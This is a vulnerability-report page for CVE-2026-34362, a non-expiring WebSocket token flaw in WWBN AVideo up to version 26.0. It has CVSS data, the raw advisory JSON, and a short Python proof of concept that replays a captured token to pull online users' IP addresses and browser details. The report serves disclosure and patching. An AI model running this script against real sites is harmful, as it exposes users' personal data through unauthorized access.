Security Vulnerability Report
中文
CVE-2026-34362 CVSS 5.4 MEDIUM

CVE-2026-34362

Published: 2026-03-27 17:16:30
Last Modified: 2026-03-31 16:33:00

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `verifyTokenSocket()` function in `plugin/YPTSocket/functions.php` has its token timeout validation commented out, causing WebSocket tokens to never expire despite being generated with a 12-hour timeout. This allows captured or legitimately obtained tokens to provide permanent WebSocket access, even after user accounts are deleted, banned, or demoted from admin. Admin tokens grant access to real-time connection data for all online users including IP addresses, browser info, and page locations. Commit 5d5237121bf82c24e9e0fdd5bc1699f1157783c5 fixes the issue.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-34362 Demonstrates that a WebSocket token does not expire. """ import asyncio import websockets import json # Target configuration (Example) TARGET_URL = "ws://target-avideo-site.com/plugin/YPTSocket/functions.php" # Assume this token was captured and is theoretically 'expired' (older than 12 hours) # Due to the vulnerability, this token will still be accepted. CAPTURED_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...captured_token_string..." async def exploit(): try: # Construct the WebSocket URI with the token or pass it in the handshake/message # Depending on implementation, usually passed as a query param or in the initial message uri = f"{TARGET_URL}?token={CAPTURED_TOKEN}" print(f"[*] Attempting to connect to WebSocket with captured token...") async with websockets.connect(uri) as websocket: print("[+] Connection established! Token accepted despite potential expiration.") # Send a message to retrieve admin data (if token has admin privileges) payload = { "function": "getUsersList", "params": {} } await websocket.send(json.dumps(payload)) response = await websocket.recv() data = json.loads(response) print("[+] Received data from server:") print(json.dumps(data, indent=2)) # Check if sensitive info (IP, etc.) is present if "users" in data or "ip" in str(data): print("[!] Successfully leaked sensitive user information via old token.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(exploit())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34362", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:30.370", "lastModified": "2026-03-31T16:32:59.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `verifyTokenSocket()` function in `plugin/YPTSocket/functions.php` has its token timeout validation commented out, causing WebSocket tokens to never expire despite being generated with a 12-hour timeout. This allows captured or legitimately obtained tokens to provide permanent WebSocket access, even after user accounts are deleted, banned, or demoted from admin. Admin tokens grant access to real-time connection data for all online users including IP addresses, browser info, and page locations. Commit 5d5237121bf82c24e9e0fdd5bc1699f1157783c5 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/5d5237121bf82c24e9e0fdd5bc1699f1157783c5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2mg4-pfgx-64cf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}